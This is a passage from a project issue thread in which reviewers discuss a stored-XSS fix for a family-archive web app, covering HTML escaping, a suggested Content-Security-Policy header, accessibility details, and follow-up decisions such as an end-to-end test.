No new npm dependencies are introduced. The fix uses only native String.replaceAll and a regex — no DOMPurify, no additional sanitisation library. This is the right call for a family project with a constrained dependency footprint.
The security header gap is worth noting from an infrastructure perspective. The Caddy reverse proxy configuration does not currently include a Content-Security-Policy header (based on what I know of the production Caddyfile). A strict CSP (default-src 'self'; script-src 'self') would provide network-layer defense-in-depth: even if escapeHtml were bypassed, the browser would refuse to execute inline scripts injected via innerHTML. This is a separate issue from PR-B but is directly relevant to CWE-79 defense.
No actuator or management port exposure is relevant here. The XSS surface is entirely in the frontend DOM rendering path.

Recommendations

Open a follow-up infrastructure issue: "Add Content-Security-Policy header via Caddy for stored-XSS defense-in-depth." Suggested Caddyfile addition:
```
header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"
```
Note: SvelteKit with @sveltejs/adapter-node does not use inline scripts by default, so a strict script-src 'self' should work without a nonce. Verify with a test deploy before enabling.
The existing CI pipeline (npm run check) provides compile-time enforcement of SafeHtml. No new CI step is needed. The lint step (npm run lint) also runs ESLint, which will flag any new {@html rawString} usage if a no-unsanitised-html ESLint rule is added. Consider adding eslint-plugin-svelte's svelte/no-at-html-tags rule with exceptions only for pre-approved files — this would automate the reviewer check.
No cost implications. This fix ships in the existing Node.js process — no additional memory, CPU, or infrastructure cost.

## 🚀 Tobias Wendt — DevOps & Platform Engineer ### Observations - **This issue has no Docker Compose, CI pipeline, or infrastructure impact.** It is a pure frontend rendering fix. My review is brief by design. - **The `SafeHtml` brand type approach requires no build pipeline changes.** TypeScript's structural type system enforces it at compile time via `npm run check`. The existing CI step that runs `svelte-check` will catch any regression where a raw string is passed to `{@html}`. - **No new npm dependencies are introduced.** The fix uses only native `String.replaceAll` and a regex — no `DOMPurify`, no additional sanitisation library. This is the right call for a family project with a constrained dependency footprint. - **The security header gap is worth noting from an infrastructure perspective.** The Caddy reverse proxy configuration does not currently include a `Content-Security-Policy` header (based on what I know of the production Caddyfile). A strict CSP (`default-src 'self'; script-src 'self'`) would provide network-layer defense-in-depth: even if `escapeHtml` were bypassed, the browser would refuse to execute inline scripts injected via `innerHTML`. This is a separate issue from PR-B but is directly relevant to CWE-79 defense. - **No actuator or management port exposure is relevant here.** The XSS surface is entirely in the frontend DOM rendering path. ### Recommendations 1. **Open a follow-up infrastructure issue: "Add Content-Security-Policy header via Caddy for stored-XSS defense-in-depth."** Suggested Caddyfile addition: ```caddyfile header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'" ``` Note: SvelteKit with `@sveltejs/adapter-node` does not use inline scripts by default, so a strict `script-src 'self'` should work without a nonce. Verify with a test deploy before enabling. 2. **The existing CI pipeline (`npm run check`) provides compile-time enforcement of `SafeHtml`.** No new CI step is needed. The lint step (`npm run lint`) also runs ESLint, which will flag any new `{@html rawString}` usage if a no-unsanitised-html ESLint rule is added. Consider adding `eslint-plugin-svelte`'s `svelte/no-at-html-tags` rule with exceptions only for pre-approved files — this would automate the reviewer check. 3. **No cost implications.** This fix ships in the existing Node.js process — no additional memory, CPU, or infrastructure cost.

marcel commented

2026-05-07 17:40:00 +02:00

🎨 Leonie Voss — UX Design Lead & Accessibility Strategist

Observations

This is a security issue, not a design issue, so my review is narrow — I look only at the rendering output as experienced by the user and the hover card interaction affordances.
PersonHoverCard.svelte renders displayName via Svelte text interpolation ({state.person.displayName}) — the browser escapes it automatically. No HTML injection risk. The card also correctly uses aria-live="polite", aria-label={ariaLabel}, and aria-busy={ariaBusy} — these are exactly the right ARIA attributes for a dynamically loaded region. Leonie FINDING-02 from an earlier review has been addressed.
The @media (hover: none) rule suppresses the hover card entirely on touch devices — correct for the senior mobile audience who tap to navigate rather than hover. The tap goes directly to /persons/{personId}, which is the right interaction model.
@media (prefers-reduced-motion: reduce) is correctly applied to the flash-highlight animation in TranscriptionReadView. The animation is suppressed and replaced with a static highlight color — not just removed, which would break the feedback entirely for reduced-motion users.
The person-mention anchor styling (focus ring, underline) is referenced via PERSON_MENTION_SELECTOR = 'a.person-mention' and the CSS rule lives in layout.css. The delegated event handler in TranscriptionReadView attaches focusin/focusout in addition to mouseenter/mouseleave — keyboard users get the same hover card experience as pointer users. This satisfies WCAG 2.1.1 (keyboard access). Good.
The aria-describedby link between the mention anchor and the hover card (link.setAttribute('aria-describedby', cardId)) is set on hover and cleared on leave — correct pattern for a hover card that appears transiently.
The font-size: 11px for the .hint text in PersonHoverCard.svelte (line 301 of the component) is below the 12px minimum I require for any visible text. For the senior audience this is a concern — the hint text "click to open" or equivalent is navigational information, not decoration.

Recommendations

Increase .hint font-size from 11px to 12px in PersonHoverCard.svelte. One character size difference, zero design impact, meaningful for senior readers:
```
.hint {
  font-size: 12px; /* was 11px — 12px is the minimum for any visible text */
  color: var(--c-ink-3);
}
```
No changes needed to the XSS escaping paths — Svelte's text interpolation is the right tool for displayName in the card, and the SafeHtml path is correct for the transcription body. Both are already using the appropriate rendering approach.
The reduced-motion implementation in TranscriptionReadView (static color instead of animation) is correct pattern. Keep it exactly as is.
Keyboard parity for hover cards (focusin/focusout on mention anchors) is implemented correctly. No gap found.

Open Decisions

Hover card on touch devices: The current implementation hides the hover card entirely on touch (@media (hover: none)). This is the right call for the primary interaction (tap to navigate). However, a long-press gesture to show the card without navigating would benefit senior readers who want to preview before committing to the navigation. This is a future enhancement, not a PR-B requirement — but flag it for the Reader Experience backlog.

## 🎨 Leonie Voss — UX Design Lead & Accessibility Strategist ### Observations - **This is a security issue, not a design issue, so my review is narrow** — I look only at the rendering output as experienced by the user and the hover card interaction affordances. - **`PersonHoverCard.svelte` renders `displayName` via Svelte text interpolation** (`{state.person.displayName}`) — the browser escapes it automatically. No HTML injection risk. The card also correctly uses `aria-live="polite"`, `aria-label={ariaLabel}`, and `aria-busy={ariaBusy}` — these are exactly the right ARIA attributes for a dynamically loaded region. Leonie FINDING-02 from an earlier review has been addressed. - **The `@media (hover: none)` rule** suppresses the hover card entirely on touch devices — correct for the senior mobile audience who tap to navigate rather than hover. The tap goes directly to `/persons/{personId}`, which is the right interaction model. - **`@media (prefers-reduced-motion: reduce)`** is correctly applied to the `flash-highlight` animation in `TranscriptionReadView`. The animation is suppressed and replaced with a static highlight color — not just removed, which would break the feedback entirely for reduced-motion users. - **The `person-mention` anchor styling** (focus ring, underline) is referenced via `PERSON_MENTION_SELECTOR = 'a.person-mention'` and the CSS rule lives in `layout.css`. The delegated event handler in `TranscriptionReadView` attaches `focusin`/`focusout` in addition to `mouseenter`/`mouseleave` — keyboard users get the same hover card experience as pointer users. This satisfies WCAG 2.1.1 (keyboard access). Good. - **The `aria-describedby` link** between the mention anchor and the hover card (`link.setAttribute('aria-describedby', cardId)`) is set on hover and cleared on leave — correct pattern for a hover card that appears transiently. - **The `font-size: 11px` for the `.hint` text** in `PersonHoverCard.svelte` (line 301 of the component) is below the 12px minimum I require for any visible text. For the senior audience this is a concern — the hint text "click to open" or equivalent is navigational information, not decoration. ### Recommendations 1. **Increase `.hint` font-size from 11px to 12px** in `PersonHoverCard.svelte`. One character size difference, zero design impact, meaningful for senior readers: ```css .hint { font-size: 12px; /* was 11px — 12px is the minimum for any visible text */ color: var(--c-ink-3); } ``` 2. **No changes needed to the XSS escaping paths** — Svelte's text interpolation is the right tool for `displayName` in the card, and the `SafeHtml` path is correct for the transcription body. Both are already using the appropriate rendering approach. 3. **The reduced-motion implementation in `TranscriptionReadView`** (static color instead of animation) is correct pattern. Keep it exactly as is. 4. **Keyboard parity for hover cards** (focusin/focusout on mention anchors) is implemented correctly. No gap found. ### Open Decisions - **Hover card on touch devices:** The current implementation hides the hover card entirely on touch (`@media (hover: none)`). This is the right call for the primary interaction (tap to navigate). However, a long-press gesture to show the card without navigating would benefit senior readers who want to preview before committing to the navigation. This is a future enhancement, not a PR-B requirement — but flag it for the Reader Experience backlog.

marcel commented

2026-05-07 17:40:24 +02:00

Decision Queue — Open Items from Review

Three open decisions were raised across personas. Grouped by theme:

Theme A: Defense-in-Depth Infrastructure (Markus + Tobias)

DQ-1: Content-Security-Policy header via Caddy

Both Markus and Tobias independently flagged that a strict CSP would make stored XSS non-exploitable at the network layer — even if escapeHtml were bypassed in the future. The suggested header:

header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"

Decision needed: Open a separate infrastructure issue for this, or defer to a future security hardening milestone? This is not a PR-B blocker — it is a follow-on defence layer.

Theme B: TipTap Editor Surface (Nora)

DQ-2: PersonMentionEditor renderHTML escaping

The renderHTML callback in PersonMentionEditor.svelte writes displayName into a data-display-name attribute. This feeds TipTap's internal ProseMirror DOM (not the document DOM), so there is no confirmed XSS path today. However, if a future change serialises TipTap's HTML output outside TipTap's sandbox (e.g. for a preview pane), the escaping assumption must be revisited.

Decision needed: (A) Add escapeHtml(displayName) in renderHTML now, defensively — small cost, future-proof. (B) Document the TipTap-boundary trust as a comment in the callback and accept the current behaviour — KISS-aligned, reviewable. There is a clear winner here: option A costs one function call and eliminates the question permanently. Recommend A.

Theme C: E2E Test Coverage (Sara)

DQ-3: Playwright E2E test for the full stored-XSS path

Sara recommends a Playwright test that seeds a block with a malicious displayName via the API, loads the transcription read view, and asserts the script did not execute. This would close the last gap in the test pyramid for this security surface.

Decision needed: Schedule now (add to current Reader Experience v1 milestone) or defer to a security hardening sprint? Given this is a P1-high security issue, the recommendation is to include the E2E test before the milestone closes — but the data seeding effort may make it more practical as a follow-on Playwright fixture story.

## Decision Queue — Open Items from Review Three open decisions were raised across personas. Grouped by theme: --- ### Theme A: Defense-in-Depth Infrastructure (Markus + Tobias) **DQ-1: Content-Security-Policy header via Caddy** Both Markus and Tobias independently flagged that a strict CSP would make stored XSS non-exploitable at the network layer — even if `escapeHtml` were bypassed in the future. The suggested header: ```caddyfile header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'" ``` **Decision needed:** Open a separate infrastructure issue for this, or defer to a future security hardening milestone? This is not a PR-B blocker — it is a follow-on defence layer. --- ### Theme B: TipTap Editor Surface (Nora) **DQ-2: `PersonMentionEditor` `renderHTML` escaping** The `renderHTML` callback in `PersonMentionEditor.svelte` writes `displayName` into a `data-display-name` attribute. This feeds TipTap's internal ProseMirror DOM (not the document DOM), so there is no confirmed XSS path today. However, if a future change serialises TipTap's HTML output outside TipTap's sandbox (e.g. for a preview pane), the escaping assumption must be revisited. **Decision needed:** (A) Add `escapeHtml(displayName)` in `renderHTML` now, defensively — small cost, future-proof. (B) Document the TipTap-boundary trust as a comment in the callback and accept the current behaviour — KISS-aligned, reviewable. There is a clear winner here: option A costs one function call and eliminates the question permanently. Recommend A. --- ### Theme C: E2E Test Coverage (Sara) **DQ-3: Playwright E2E test for the full stored-XSS path** Sara recommends a Playwright test that seeds a block with a malicious `displayName` via the API, loads the transcription read view, and asserts the script did not execute. This would close the last gap in the test pyramid for this security surface. **Decision needed:** Schedule now (add to current Reader Experience v1 milestone) or defer to a security hardening sprint? Given this is a P1-high security issue, the recommendation is to include the E2E test before the milestone closes — but the data seeding effort may make it more practical as a follow-on Playwright fixture story.

marcel closed this issue

2026-05-09 22:03:13 +02:00

Sign in to join this conversation.

1 Participants

Notifications

Due Date

No due date set.

Dependencies

No dependencies set.

Reference: marcel/familienarchiv#367